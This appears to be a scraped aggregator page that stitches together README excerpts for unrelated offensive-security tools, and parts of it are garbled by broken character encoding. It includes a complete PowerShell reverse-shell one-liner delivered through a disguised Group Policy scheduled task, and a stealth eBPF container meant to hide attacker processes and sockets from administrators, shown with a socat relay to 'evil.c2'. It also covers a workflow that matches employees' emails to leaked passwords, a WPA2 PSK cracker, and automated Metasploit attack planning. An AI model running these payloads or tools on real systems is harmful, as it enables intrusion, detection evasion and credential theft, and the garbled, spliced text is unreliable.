Login
Python partial implementation of SharpGPOAbuse by@pkb1s
This tool can be used when a controlled account can modify an existing GPO that applies to one or more users & computers. It will create an immediate scheduled task as SYSTEM on the remote computer for computer GPO, or as logged in user for user GPO.
Default behavior adds a local administrator.
Add john user to local administrators group (Password: H4x00r123..)
FreshRSS ./pygpoabuse.py DOMAIN/user -hashes lm:nt -gpo-id "12345677-ABCD-9876-ABCD-123456789012"Reverse shell example
./pygpoabuse.py DOMAIN/user -hashes lm:nt -gpo-id "12345677-ABCD-9876-ABCD-123456789012" \
-powershell \
-command "\$client = New-Object System.Net.Sockets.TCPClient('10.20.0.2',1234);\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data 2>&1 | Out-String );\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> ';\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()};\$client.Close()" \
-taskname "Completely Legit Task" \
-description "Dis is legit, pliz no delete" \
-user
Finding assets from certificates! Scan the web! Tool presented @DEFCON 31
** You must have CGO enabled, and may have to install gcc to run CloudRecon**
sudo apt install gccgo install github.com/g0ldencybersec/CloudRecon@latestCloudRecon
CloudRecon is a suite of tools for red teamers and bug hunters to find ephemeral and development assets in their campaigns and hunts.
Often, target organizations stand up cloud infrastructure that is not tied to their ASN or related to known infrastructure. Many times these assets are development sites, IT product portals, etc. Sometimes they don't have domains at all but many still need HTTPs.
CloudRecon is a suite of tools to scan IP addresses or CIDRs (ex: cloud providers IPs) and find these hidden gems for testers, by inspecting those SSL certificates.
The tool suite is three parts in GO:
Scrape - A LIVE running tool to inspect the ranges for a keywork in SSL certs CN and SN fields in real time.
Store - a tool to retrieve IPs certs and download all their Orgs, CNs, and SANs. So you can have your OWN cert.sh database.
Retr - a tool to parse and search through the downloaded certs for keywords.
MAIN
Usage: CloudRecon scrape|store|retr [options]
-h Show the program usage message
Subcommands:
cloudrecon scrape - Scrape given IPs and output CNs & SANs to stdout
cloudrecon store - Scrape and collect Orgs,CNs,SANs in local db file
cloudrecon retr - Query local DB file for resultsSCRAPE
scrape [options] -i <IPs/CIDRs or File>
-a Add this flag if you want to see all output including failures
-c int
How many goroutines running concurrently (default 100)
-h print usage!
-i string
Either IPs & CIDRs separated by commas, or a file with IPs/CIDRs on each line (default "NONE" )
-p string
TLS ports to check for certificates (default "443")
-t int
Timeout for TLS handshake (default 4)STORE
store [options] -i <IPs/CIDRs or File>
-c int
How many goroutines running concurrently (default 100)
-db string
String of the DB you want to connect to and save certs! (default "certificates.db")
-h print usage!
-i string
Either IPs & CIDRs separated by commas, or a file with IPs/CIDRs on each line (default "NONE")
-p string
TLS ports to check for certificates (default "443")
-t int
Timeout for TLS handshake (default 4)RETR
retr [options]
-all
Return all the rows in the DB
-cn string
String to search for in common name column, returns like-results (default "NONE")
-db string
String of the DB you want to connect to and save certs! (default "certificates.db")
-h print usage!
-ip string
String to search for in IP column, returns like-results (default "NONE")
-num
Return the Number of rows (results) in the DB (By IP)
-org string
String to search for in Organization column, returns like-results (default "NONE")
-san string
String to search for in common name column, returns like-results (default "NONE")
This program is a tool written in Python to recover the pre-shared key of a WPA2 WiFi network without any de-authentication or requiring any clients to be on the network. It targets the weakness of certain access points advertising the PMKID value in EAPOL message 1.
python pmkidcracker.py -s <SSID> -ap <APMAC> -c <CLIENTMAC> -p <PMKID> -w <WORDLIST> -t <THREADS(Optional)>
NOTE: apmac, clientmac, pmkid must be a hexstring, e.g b8621f50edd9
The two main formulas to obtain a PMKID are as follows:
This is just for understanding, both are already implemented in find_pw_chunk and calculate_pmkid.
Below are the steps to obtain the PMKID manually by inspecting the packets in WireShark.
*You may use Hcxtools or Bettercap to quickly obtain the PMKID without the below steps. The manual way is for understanding.
To obtain the PMKID manually from wireshark, put your wireless antenna in monitor mode, start capturing all packets with airodump-ng or similar tools. Then connect to the AP using an invalid password to capture the EAPOL 1 handshake message. Follow the next 3 steps to obtain the fields needed for the arguments.
Open the pcap in WireShark:
wlan_rsna_eapol.keydes.msgnr == 1 in WireShark to display only EAPOL message 1 packets.If access point is vulnerable, you should see the PMKID value like the below screenshot:
This tool is for educational and testing purposes only. Do not use it to exploit the vulnerability on any network that you do not own or have permission to test. The authors of this script are not responsible for any misuse or damage caused by its use.
Zero-dollar attack surface management tool
featured at Black Hat Arsenal 2023 and Recon Village @ DEF CON 2023.
Easy EASM is just that... the easiest to set-up tool to give your organization visibility into its external facing assets.
The industry is dominated by $30k vendors selling "Attack Surface Management," but OG bug bounty hunters and red teamers know the truth. External ASM was born out of the bug bounty scene. Most of these $30k vendors use this open-source tooling on the backend.
With ten lines of setup or less, using open-source tools, and one button deployment, Easy EASM will give your organization a complete view of your online assets. Easy EASM scans you daily and alerts you via Slack or Discord on newly found assets! Easy EASM also spits out an Excel skeleton for a Risk Register or Asset Database! This isn't rocket science, but it's USEFUL. Don't get scammed. Grab Easy EASM and feel confident you know what's facing attackers on the internet.
go install github.com/g0ldencybersec/EasyEASM/easyeasm@latestThe tool expects a configuration file named config.yml to be in the directory you are running from.
Here is example of this yaml file:
# EasyEASM configurations
runConfig:
domains: # List root domains here.
- example.com
- mydomain.com
slack: https://hooks.slack.com/services/DUMMYDATA/DUMMYDATA/RANDOM # Slack webhook url for Slack notifications.
discord: https://discord.com/api/webhooks/DUMMYURL/Dasdfsdf # Discord webhook for Discord notifications.
runType: fast # Set to either fast (passive enum) or complete (active enumeration).
activeWordList: subdomainWordlist.txt
activeThreads: 100To run the tool, fill out the config file: config.yml. Then, run the easyeasm module:
./easyeasmAfter the run is complete, you should see the output CSV (EasyEASM.csv) in the run directory. This CSV can be added to your asset database and risk register!
The creator(s) of this tool provides no warranty or assurance regarding its performance, dependability, or suitability for any specific purpose.
The tool is furnished on an "as is" basis without any form of warranty, whether express or implied, encompassing, but not limited to, implied warranties of merchantability, fitness for a particular purpose, or non-infringement.
The user assumes full responsibility for employing this tool and does so at their own peril. The creator(s) holds no accountability for any loss, damage, or expenses sustained by the user or any third party due to the utilization of this tool, whether in a direct or indirect manner.
Moreover, the creator(s) explicitly renounces any liability or responsibility for the accuracy, substance, or availability of information acquired through the use of this tool, as well as for any harm inflicted by viruses, malware, or other malicious components that may infiltrate the user's system as a result of employing this tool.
By utilizing this tool, the user acknowledges that they have perused and understood this warranty declaration and agree to undertake all risks linked to its utilization.
This project is licensed under the MIT License - see the LICENSE.md for details.
For assistance, use the Issues tab. If we do not respond within 7 days, please reach out to us here.
A Powerful Sensor Tool to discover login panels, and POST Form SQLi Scanning
Features
so the script is super fast at scanning many urls
quick tutorial & screenshots are shown at the bottom
project contribution tips at the bottom
Β
Installation
git clone https://github.com/Mr-Robert0/Logsensor.git
cd Logsensor && sudo chmod +x logsensor.py install.sh
pip install -r requirements.txt
./install.sh
Dependencies
Β
1. Multiple hosts scanning to detect login panels
python3 logsensor.py -f <subdomains-list>
python3 logsensor.py -f <subdomains-list> -t 50
python3 logsensor.py -f <subdomains-list> --login2. Targeted SQLi form scanning
python logsensor.py -u www.example.com/login --sqli
python logsensor.py -u www.example.com/login -s --proxy http://127.0.0.1:8080
python logsensor.py -u www.example.com/login -s --inputname emailView help
python logsensor.py --help
usage: logsensor.py [-h --help] [--file ] [--url ] [--proxy] [--login] [--sqli] [--threads]
optional arguments:
-u , --url Target URL (e.g. http://example.com/ )
-f , --file Select a target hosts list file (e.g. list.txt )
--proxy Proxy (e.g. http://127.0.0.1:8080)
-l, --login run only Login panel Detector Module
-s, --sqli run only POST Form SQLi Scanning Module with provided Login panels Urls
-n , --inputname Customize actual username input for SQLi scan (e.g. 'username' or 'email')
-t , --threads Number of threads (default 30)
-h, --help Show this help message and exitTODO
Β
This is a tool designed for Open Source Intelligence (OSINT) purposes, which helps to gather information about employees of a company.
The tool starts by searching through LinkedIn to obtain a list of employees of the company. Then, it looks for their social network profiles to find their personal email addresses. Finally, it uses those email addresses to search through a custom COMB database to retrieve leaked passwords. You an easily add yours and connect to through the tool.
To use this tool, you'll need to have Python 3.10 installed on your machine. Clone this repository to your local machine and install the required dependencies using pip in the cli folder:
cd cli
pip install -r requirements.txt
We know that there is a problem when installing the tool due to the psycopg2 binary. If you run into this problem, you can solve it running:
cd cli
python3 -m pip install psycopg2-binary`
To use the tool, simply run the following command:
python3 cli/emploleaks.py
If everything went well during the installation, you will be able to start using EmploLeaks:
___________ .__ .__ __
\_ _____/ _____ ______ | | ____ | | ____ _____ | | __ ______
| __)_ / \____ \| | / _ \| | _/ __ \__ \ | |/ / / ___/
| \ Y Y \ |_> > |_( <_> ) |_\ ___/ / __ \| < \___ \
/_______ /__|_| / __/|____/\____/|____/\___ >____ /__|_ \/____ >
\/ \/|__| \/ \/ \/ \/
OSINT tool Γ°ΕΈβ’Β΅ to chain multiple apis
emploleaks>
Right now, the tool supports two functionalities:
First, you must set the plugin to use, which in this case is linkedin. After, you should set your authentication tokens and the run the impersonate process:
emploleaks> use --plugin linkedin
emploleaks(linkedin)> setopt JSESSIONID
JSESSIONID:
[+] Updating value successfull
emploleaks(linkedin)> setopt li-at
li-at:
[+] Updating value successfull
emploleaks(linkedin)> show options
Module options:
Name Current Setting Required Description
---------- ----------------------------------- ---------- -----------------------------------
hide yes no hide the JSESSIONID field
JSESSIONID ************************** no active cookie session in browser #1
li-at AQEDAQ74B0YEUS-_AAABilIFFBsAAAGKdhG no active cookie session in browser #1
YG00AxGP34jz1bRrgAcxkXm9RPNeYIAXz3M
cycrQm5FB6lJ-Tezn8GGAsnl_GRpEANRdPI
lWTRJJGF9vbv5yZHKOeze_WCHoOpe4ylvET
kyCyfN58SNNH
emploleaks(linkedin)> run i mpersonate
[+] Using cookies from the browser
Setting for first time JSESSIONID
Setting for first time li_at
li_at and JSESSIONID are the authentication cookies of your LinkedIn session on the browser. You can use the Web Developer Tools to get it, just sign-in normally at LinkedIn and press right click and Inspect, those cookies will be in the Storage tab.
Now that the module is configured, you can run it and start gathering information from the company:
We created a custom workflow, where with the information retrieved by Linkedin, we try to match employees' personal emails to potential leaked passwords. In this case, you can connect to a database (in our case we have a custom indexed COMB database) using the connect command, as it is shown below:
emploleaks(linkedin)> connect --user myuser --passwd mypass123 --dbname mydbname --host 1.2.3.4
[+] Connecting to the Leak Database...
[*] version: PostgreSQL 12.15
Once it's connected, you can run the workflow. With all the users gathered, the tool will try to search in the database if a leaked credential is affecting someone:
An imortant aspect of this project is the use of the indexed COMB database, to build your version you need to download the torrent first. Be careful, because the files and the indexed version downloaded requires, at least, 400 GB of disk space available.
Once the torrent has been completelly downloaded you will get a file folder as following:
Γ’βΕΓ’ββ¬Γ’ββ¬ count_total.sh
Γ’βΕΓ’ββ¬Γ’ββ¬ data
Γ’ββ Γ’βΕΓ’ββ¬Γ’ββ¬ 0
Γ’ββ Γ’βΕΓ’ββ¬Γ’ββ¬ 1
Γ’ββ Γ’ββ Γ’βΕΓ’ββ¬Γ’ββ¬ 0
Γ’ββ Γ’ββ Γ’βΕΓ’ββ¬Γ’ββ¬ 1
Γ’ββ Γ’ββ Γ’βΕΓ’ββ¬Γ’ββ¬ 2
Γ’ββ Γ’ββ Γ’βΕΓ’ββ¬Γ’ββ¬ 3
Γ’ββ Γ’ββ Γ’βΕΓ’ββ¬Γ’ββ¬ 4
Γ’ββ Γ’ββ Γ’βΕΓ’ββ¬Γ’&β¬ 5
Γ’ββ Γ’ββ Γ’βΕΓ’ββ¬Γ’ββ¬ 6
Γ’ββ Γ’ββ Γ’βΕΓ’ββ¬Γ’ββ¬ 7
Γ’ββ Γ’ββ Γ’βΕΓ’ββ¬Γ’ββ¬ 8
Γ’ββ Γ’ββ Γ’βΕΓ’ββ¬Γ’ββ¬ 9
Γ’ββ Γ’ββ Γ’βΕΓ’ββ¬Γ’ββ¬ a
Γ’ββ Γ’ββ Γ’βΕΓ’ββ¬Γ’ββ¬ b
Γ’ββ Γ’ββ Γ’βΕΓ’ββ¬Γ’ββ¬ c
Γ’ββ Γ’ββ Γ’βΕΓ’ββ¬Γ’ββ¬ d
Γ’ββ Γ’ββ Γ’βΕΓ’ββ¬Γ’ββ¬ e
Γ’ββ Γ’ββ Γ’βΕΓ’ββ¬Γ’ββ¬ f
Γ’ββ Γ’ββ Γ’βΕΓ’ββ¬Γ’ββ¬ g
Γ’ββ Γ’ββ Γ’βΕΓ’ββ¬Γ’ββ¬ h
Γ’ββ Γ’ββ Γ’βΕΓ’ββ¬Γ’ββ¬ i
Γ’ββ Γ’ββ Γ’βΕΓ’ββ¬Γ’ββ¬ j
Γ’ββ Γ’ββ Γ’βΕΓ’ββ¬Γ’ββ¬ k
Γ’ββ Γ’ββ Γ’βΕΓ’ββ¬Γ’ββ¬ l
Γ’ββ Γ’ββ Γ’βΕΓ’ββ¬Γ’ββ¬ m
Γ’ββ Γ’ββ Γ’βΕΓ’ β¬Γ’ββ¬ n
Γ’ββ Γ’ββ Γ’βΕΓ’ββ¬Γ’ββ¬ o
Γ’ββ Γ’ββ Γ’βΕΓ’ββ¬Γ’ββ¬ p
Γ’ββ Γ’ββ Γ’βΕΓ’ββ¬Γ’ββ¬ q
Γ’ββ Γ’ββ Γ’βΕΓ’ββ¬Γ’ββ¬ r
Γ’ββ Γ’ββ Γ’βΕΓ’ββ¬Γ’ββ¬ s
Γ’ββ Γ’ββ Γ’βΕΓ’ββ¬Γ’ββ¬ symbols
Γ’ββ Γ’ββ Γ’βΕΓ’ββ¬Γ’ββ¬ t
At this point, you could import all those files with the command create_db:
We are integrating other public sites and applications that may offer about a leaked credential. We may not be able to see the plaintext password, but it will give an insight if the user has any compromised credential:
Also, we will be focusing on gathering even more information from public sources of every employee. Do you have any idea in mind? Don't hesitate to reach us:
Or you con DM at @pastacls or @gaaabifranco on Twitter.
Bugsy is a command-line interface (CLI) tool that provides automatic security vulnerability remediation for your code. It is the community edition version of Mobb, the first vendor-agnostic automated security vulnerability remediation tool. Bugsy is designed to help developers quickly identify and fix security vulnerabilities in their code.
Mobb is the first vendor-agnostic automatic security vulnerability remediation tool. It ingests SAST results from Checkmarx, CodeQL (GitHub Advanced Security), OpenText Fortify, and Snyk and produces code fixes for developers to review and commit to their code.
Bugsy has two modes - Scan (no SAST report needed) & Analyze (the user needs to provide a pre-generated SAST report from one of the supported SAST tools).
Scan
Analyze
This is a community edition version that only analyzes public GitHub repositories. Analyzing private repositories is allowed for a limited amount of time. Bugsy does not detect any vulnerabilities in your code, it uses findings detected by the SAST tools mentioned above.
You can simply run Bugsy from the command line, using npx:
WebCopilot is an automation tool designed to enumerate subdomains of the target and detect bugs using different open-source tools.
The script first enumerate all the subdomains of the given target domain using assetfinder, sublister, subfinder, amass, findomain, hackertarget, riddler and crt then do active subdomain enumeration using gobuster from SecLists wordlist then filters out all the live subdomains using dnsx then it extract titles of the subdomains using httpx & scans for subdomain takeover using subjack. Then it uses gauplus & waybackurls to crawl all the endpoints of the given subdomains then it use gf patterns to filters out xss, lfi, ssrf, sqli, open redirect & rce parameters from that given subdomains, and then it scans for vulnerabilities on the sub domains using different open-source tools (like kxss, dalfox, openredirex, nuclei, etc). Then it'll print out the result of the scan and save all the output in a specified directory.
g!2m0:~ webcopilot -h
βββββββββββββββββ
ββββββββββββββββββ
ββββββββββββββββββββββ
ββββββββββββ¬βββββββββββ
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
βββββββββββββββββββββββββββββ¦βββββββββββββββββββββββββββββββββββββββββββββββββββββ
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ βββββββββββββββββββββ
βββββββββββββββββββββββββββββ¦βββββββββββββββββββββββββββββββββββββββββββββββββββββ
βββββββββββββββββββββββββββββββββββββ ββββββββββββββββββββββββββββββββββββββββββββ
[β] @h4r5h1t.hrs | G!2m0
Usage:
webcopilot -d <target>
webcopilot -d <target> -s
webcopilot [-d target] [-o output destination] [-t threads] [-b blind server URL] [-x exclude domains]
Flags:
-d Add your target [Requried]
-o To save outputs in folder [Default: domain.com]
-t Number of threads [Default: 100]
-b Add your server for BXSS [Default: False]
-x Exclude out of scope domains [Default: False]
-s Run only Subdomain Enumeration [Default: False]
-h Show this help message
Example: webcopilot -d domain.com -o domain -t 333 -x exclude.txt -b testServer.xss
Use https://xsshunter.com/ or https://interact.projectdiscovery.io/ to get your serverWebCopilot requires git to install successfully. Run the following command as a root to install webcopilot
git clone https://github.com/h4r5h1t/webcopilot && cd webcopilot/ && chmod +x webcopilot install.sh && mv webcopilot /usr/bin/ && ./install.shSubFinder β’ Sublist3r β’ Findomain β’ gf β’ OpenRedireX β’ dnsx β’ sqlmap β’ gobuster β’ assetfinder β’ httpx β’ kxss β’ qsreplace β’ Nuclei β’ dalfox β’ anew β’ jq β’ aquatone β’ urldedupe β’ Amass β’ gauplus β’ waybackurls β’ crlfuzz
To run the tool on a target, just use the following command.
g!2m0:~ webcopilot -d bugcrowd.comThe -o command can be used to specify an output dir.
g!2m0:~ webcopilot -d bugcrowd.com -o bugcrowdThe -s command can be used for only subdomain enumerations (Active + Passive and also get title & screenshots).
g!2m0:~ webcopilot -d bugcrowd.com -o bugcrowd -s The -t command can be used to add thrads to your scan for faster result.
g!2m0:~ webcopilot -d bugcrowd.com -o bugcrowd -t 333 The -b command can be used for blind xss (OOB), you can get your server from xsshunter or interact
g!2m0:~ webcopilot -d bugcrowd.com -o bugcrowd -t 333 -b testServer.xssThe -x command can be used to exclude out of scope domains.
g!2m0:~ echo out.bugcrowd.com > excludeDomain.txt
g!2m0:~ webcopilot -d bugcrowd.com -o bugcrowd -t 333 -x excludeDomain.txt -b testServer.xssDefault options looks like this:
g!2m0:~ webcopilot -d bugcrowd.com - bugcrowd βββββββββββββββββ
ββββββββββββββββββ
ββββββββββββββββββββββ
ββββββββββββ¬βββββββββββ
βββββββββββββββββββββββββββββββββββββ βββββββββββββββββββββββββββββββββββββββββββ
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
βββββββββββββββ βββββββββββββ¦βββββββββββββββββββββββββββββββββββββββββββββββββββββ
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ ββββββ
βββββββββββββββββββββββββββββ¦βββββββββββββββββββββββββββββββββββββββββββββββββββββ
ββββββββββββββββββββββββββββββββββββββββββββββββββββ βββββββββββββββββββββββββββββ
[β] @h4r5h1t.hrs | G!2m0
[β] Warning: Use with caution. You are responsible for your own actions.
[β] Developers assume no liability and are not responsible for any misuse or damage cause by this tool.
Target: bugcrowd.com
Output: /home/gizmo/targets/bugcrowd
Threads: 100
Server: False
Exclude: False
Mode: Running all Enumeration
Time: 30-08-2021 15:10:00
[!] Please wait while scanning...
[β] Subdoamin Scanning is in progress: Scanning subdomains of bugcrowd.com
[β] Subdoamin Scanned - [assetfinderβ] Subdomain Found: 34
[β] Subdoamin Scanned - [sublist3rβ] Subdomain Found: 29
[β] Subdoamin Scanned - [subfinderβ] Subdomain Found: 54
[β] Subdoamin Scanned - [amassβ] Subdomain Found: 43
[β] Subdoamin Scanned - [findomainβ] Subdomain Found: 27
[β] Active Subdoamin Scanning is in progress:
[!] Please be patient. This may take a while...
[β] Active Subdoamin Scanned - [gobusterβ] Subdomain Found: 11
[β] Active Subdoamin Scanned - [amassβ] Subdomain Found: 0
[β] Subdomain Scanning: Filtering out of scope subdomains
[β] Subdomain Scanning: Filtering Alive subdomains
[β] Subdomain Scanning: Getting titles of valid subdomains
[β] Visual inspection of Subdoamins is completed. Check: /subdomains/aquatone/
[β] Scanning Completed for Subdomains of bugcrowd.com Total: 43 | Alive: 30
[β] Endpoints Scanning Completed for Subdomains of bugcrowd.com Total: 11032
[β] Vulnerabilities Scanning is in progress: Getting all vulnerabilities of bugcrowd.com
[β] Vulnerabilities Scanned - [XSSβ] Found: 0
[β] Vulnerabilities Scanned - [SQLiβ] Found: 0
[β] Vulnerabilities Scanned - [LFIβ] Found: 0
[β] Vulnerabilities Scanned - [CRLFβ] Found: 0
[β] Vulnerabilities Scanned - [SSRFβ] Found: 0
[β] Vulnerabilities Scanned - [Sensitive Dataβ] Found: 0
[β] Vulnerabilities Scanned - [Open redirectβ] Found: 0
[β] Vulnerabilities Scanned - [Subdomain Takeoverβ] Found: 0
[β] Vulnerabilities Scanned - [Nuclieβ] Found: 0
[β] Vulnerabilities Scanning Completed for Subdomains of bugcrowd.com Check: /vulnerabilities/
βββββ βββ βββ ββββ βββ βββββ
βββββ βββ βββ ββββ βββ βββββ
βββββ βββ βββ ββββ βββ βββββ
[+] Subdomains of bugcrowd.com
[+] Subdomains Found: 0
[+] Subdomains Alive: 0
[+] Endpoints: 11032
[+] XSS: 0
[+] SQLi: 0
[+] Open Redirect: 0
[+] SSRF: 0
[+] CRLF: 0
[+] LFI: 0
[+] Sensitive Data: 0
[+] Subdomain Takeover: 0
[+] Nuclei: 0WebCopilot is inspired from Garud & Pinaak by ROX4R.
@aboul3la @tomnomnom @lc @hahwul @projectdiscovery @maurosoria @shelld3v @devanshbatham @michenriksen @defparam @projectdiscovery @bp0lr @ameenmaali @sqlmapproject @dwisiswant0 @OWASP @OJ @Findomain @danielmiessler @1ndianl33t @ROX4R
| Warning: Developers assume no liability and are not responsible for any misuse or damage cause by this tool. So, please se with caution because you are responsible for your own actions. |
A stealth post-exploitation container.
With the raise in popularity of offensive tools based on eBPF, going from credential stealers to rootkits hiding their own PID, a question came to our mind: Would it be possible to make eBPF invisible in its own eyes? From there, we created nysm, an eBPF stealth container meant to make offensive tools fly under the radar of System Administrators, not only by hiding eBPF, but much more:
All these tools go blind to what goes through nysm. It hides:
Warning This tool is a simple demonstration of eBPF capabilities as such. It is not meant to be exhaustive. Nevertheless, pull requests are more than welcome.
Β
sudo apt install git make pkg-config libelf-dev clang llvm bpftool -ycd ./nysm/src/
bpftool btf dump file /sys/kernel/btf/vmlinux format c > vmlinux.hcd ./nysm/src/
makenysm is a simple program to run before the intended command:
Usage: nysm [OPTION...] COMMAND
Stealth eBPF container.
-d, --detach Run COMMAND in background
-r, --rm Self destruct after execution
-v, --verbose Produce verbose output
-h, --help Display this help
--usage Display a short usage message
Run a hidden bash:
./nysm bashRun a hidden ssh and remove ./nysm:
./nysm -r ssh user@domain
Run a hidden socat as a daemon and remove ./nysm:
./nysm -dr socat TCP4-LISTEN:80 TCP4:evil.c2:443As eBPF cannot overwrite returned values or kernel addresses, our goal is to find the lowest level call interacting with a userspace address to overwrite its value and hide the desired objects.
To differentiate nysm events from the others, everything runs inside a seperated PID namespace.
bpftool has some features nysm wants to evade: bpftool prog list, bpftool map list and bpftool link list.
As any eBPF program, bpftool uses the bpf() system call, and more specifically with the BPF_PROG_GET_NEXT_ID, BPF_MAP_GET_NEXT_ID and BPF_LINK_GET_NEXT_ID commands. The result of these calls is stored in the userspace address pointed by the attr argument.
To overwrite uattr, a tracepoint is set on the bpf() entry to store the pointed address in a map. Once done, it waits for the bpf() exit tracepoint. When bpf() exists, nysm can read and write through the bpf_attr structure. After each BPF_*_GET_NEXT_ID, bpf_attr.start_id is replaced by bpf_attr.next_id.
In order to hide specific IDs, it checks bpf_attr.next_id and replaces it with the next ID that was not created in nysm.
Program, map, and link IDs are collected from security_bpf_prog(), security_bpf_map(), and bpf_link_prime().
Auditd receives its logs from recvfrom() which stores its messages in a buffer.
If the message received was generated by a nysm process through audit_log_end(), it replaces the message length in its nlmsghdr header by 0.
Hiding PIDs with eBPF is nothing new. nysm hides new alloc_pid() PIDs from getdents64() in /proc by changing the length of the previous record.
As getdents64() requires to loop through all its files, the eBPF instructions limit is easily reached. Therefore, nysm uses tail calls before reaching it.
Hiding sockets is a big word. In fact, opened sockets are already hidden from many tools as they cannot find the process in /proc. Nevertheless, ss uses socket() with the NETLINK_SOCK_DIAG flag which returns all the currently opened sockets. After that, ss receives the result through recvmsg() in a message buffer and the returned value is the length of all these messages combined.
Here, the same method as for the PIDs is applied: the length of the previous message is modified to hide nysm sockets.
These are collected from the connect() and bind() calls.
Even with the best effort, nysm still has some limitations.
Every tool that does not close their file descriptors will spot nysm processes created while they are open. For example, if ./nysm bash is running before top, the processes will not show up. But, if another process is created from that bash instance while top is still running, the new process will be spotted. The same problem occurs with sockets and tools like nethogs.
Kernel logs: dmesg and /var/log/kern.log, the message nysm[<PID>] is installing a program with bpf_probe_write_user helper that may corrupt user memory! will pop several times because of the eBPF verifier on nysm run.
Many traces written into files are left as hooking read() and write() would be too heavy (but still possible). For example /proc/net/tcp or /sys/kernel/debug/tracing/enabled_functions.
Hiding ss recvmsg can be challenging as a new socket can pop at the beginning of the buffer, and nysm cannot hide it with a preceding record (this does not apply to PIDs). A quick fix could be to switch place between the first one and the next legitimate socket, but what if a socket is in the buffer by itself? Therefore, nysm modifies the first socket information with hardcoded values.
Running bpf() with any kind of BPF_*_GET_NEXT_ID flag from a nysm child process should be avoided as it would hide every non-nysm eBPF objects.
Of course, many of these limitations must have their own solutions. Again, pull requests are more than welcome.
CATSploit is an automated penetration testing tool using Cyber Attack Techniques Scoring (CATS) method that can be used without pentester. Currently, pentesters implicitly made the selection of suitable attack techniques for target systems to be attacked. CATSploit uses system configuration information such as OS, open ports, software version collected by scanner and calculates a score value for capture eVc and detectability eVd of each attack techniques for target system. By selecting the highest score values, it is possible to select the most appropriate attack technique for the target system without hack knack(professional pentesterβs skill) .
CATSploit automatically performs penetration tests in the following sequence:
Information gathering and prior information input First, gathering information of target systems. CATSploit supports nmap and OpenVAS to gather information of target systems. CATSploit also supports prior information of target systems if you have.
Calculating score value of attack techniques Using information obtained in the previous phase and attack techniques database, evaluation values of capture (eVc) and detectability (eVd) of each attack techniques are calculated. For each target computer, the values of each attack technique are calculated.
Selection of attack techniques by using scores and make attack scenario Select attack techniques and create attack scenarios according to pre-defined policies. For example, for a policy that prioritized hard-to-detect, the attack techniques with the lowest eVd(Detectable Score) will be selected.
Execution of attack scenario CATSploit executes the attack techniques according to attack scenario constructed in the previous phase. CATSploit uses Metasploit as a framework and Metasploit API to execute actual attacks.
CATSploit has the following prerequisites:
For Metasploit, Nmap and OpenVAS, it is assumed to be installed with the Kali Distribution.
To install the latest version of CATSploit, please use the following commands:
$ git clone https://github.com/catsploit/catsploit.git
$ cd catsploit
$ git clone https://github.com/catsploit/cats-helper.git
$ sudo ./setup.sh
CATSploit is a server-client configuration, and the server reads the configuration JSON file at startup. In config.json, the following fields should be modified for your environment.
(*) Adjust the number according to the specs of your machine.
To start the server, execute the following command:
$ python cats_server.py -c [CONFIG_FILE]
Next, prepare another console, start the client program, and initiate a connection to the server.
$ python catsploit.py -s [SOCKET_PATH]
After successfully connecting to the server and initializing it, the session will start.
_________ ___________ __ _ __
/ ____/ |/_ __/ ___/____ / /___ (_) /_
/ / / /| | / / \__ \/ __ \/ / __ \/ / __/
/ /___/ ___ |/ / ___/ / /_/ / / /_/ / / /_
\____/_/ |_/_/ /____/ .___/_/\____/_/\__/
/_/
[*] Connecting to cats-server
[*] Done.
[*] Initializing server
[*] Done.
catsploit>
The client can execute a variety of commands. Each command can be executed with -h option to display the format of its arguments.
usage: [-h] {host,scenario,scan,plan,attack,post,reset,help,exit} ...
positional arguments:
{host,scenario,scan,plan,attack,post,reset,help,exit}
options:
-h, --help show this help message and exit
I've posted the commands and options below as well for reference.
host list:
show information about the hosts
usage: host list [-h]
options:
-h, --help show this help message and exit
host detail:
show more information about one host
usage: host detail [-h] host_id
positional arguments:
host_id ID of the host for which you want to show information
options:
-h, --help show this help message and exit
scenario list:
show information about the scenarios
usage: scenario list [-h]
options:
-h, --help show this help message and exit
scenario detail:
show more information about one scenario
usage: scenario detail [-h] scenario_id
positional arguments:
scenario_id ID of the scenario for which you want to show information
options:
-h, --help show this help message and exit
scan:
run network-scan and security-scan
usage: scan [-h] [--port PORT] targe t_host [target_host ...]
positional arguments:
target_host IP address to be scanned
options:
-h, --help show this help message and exit
--port PORT ports to be scanned
plan:
planning attack scenarios
usage: plan [-h] src_host_id dst_host_id
positional arguments:
src_host_id originating host
dst_host_id target host
options:
-h, --help show this help message and exit
attack:
execute attack scenario
usage: attack [-h] scenario_id
positional arguments:
scenario_id ID of the scenario you want to execute
options:
-h, --help show this help message and exit
post find-secret:
find confidential information files that can be performed on the pwned host
usage: post find-secret [-h] host_id
positional arguments:
host_id ID of the host for which you want to find confidential information
op tions:
-h, --help show this help message and exit
reset:
reset data on the server
usage: reset [-h] {system} ...
positional arguments:
{system} reset system
options:
-h, --help show this help message and exit
exit:
exit CATSploit
usage: exit [-h]
options:
-h, --help show this help message and exit
In this example, we use CATSploit to scan network, plan the attack scenario, and execute the attack.
catsploit> scan 192.168.0.0/24
Network Scanning ... 100%
[*] Total 2 hosts were discovered.
Vulnerability Scanning ... 100%
[*] Total 14 vulnerabilities were discovered.
catsploit> host list
ββββββββββββ³βββββββββββββββββ³βββββββββββ³βββββββββββββββββββββββββββββββββββ³ββββββββ
β hostID β IP β Hostname β Platform β Pwned β
β‘ββββββ βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ©
β attacker β 0.0.0.0 β kali β kali 2022.4 β True β
β h_exbiy6 β 192.168.0.10 β β Linux 3.10 - 4.11 β False β
β h_nhqyfq β 192.168.0.20 β β Microsoft Windows 7 SP1 β False β
ββββββββββββ΄ ββββββββββββββββ΄βββββββββββ΄βββββββββββββββββββββββββββββββββββ΄ββββββββ
catsploit> host detail h_exbiy6
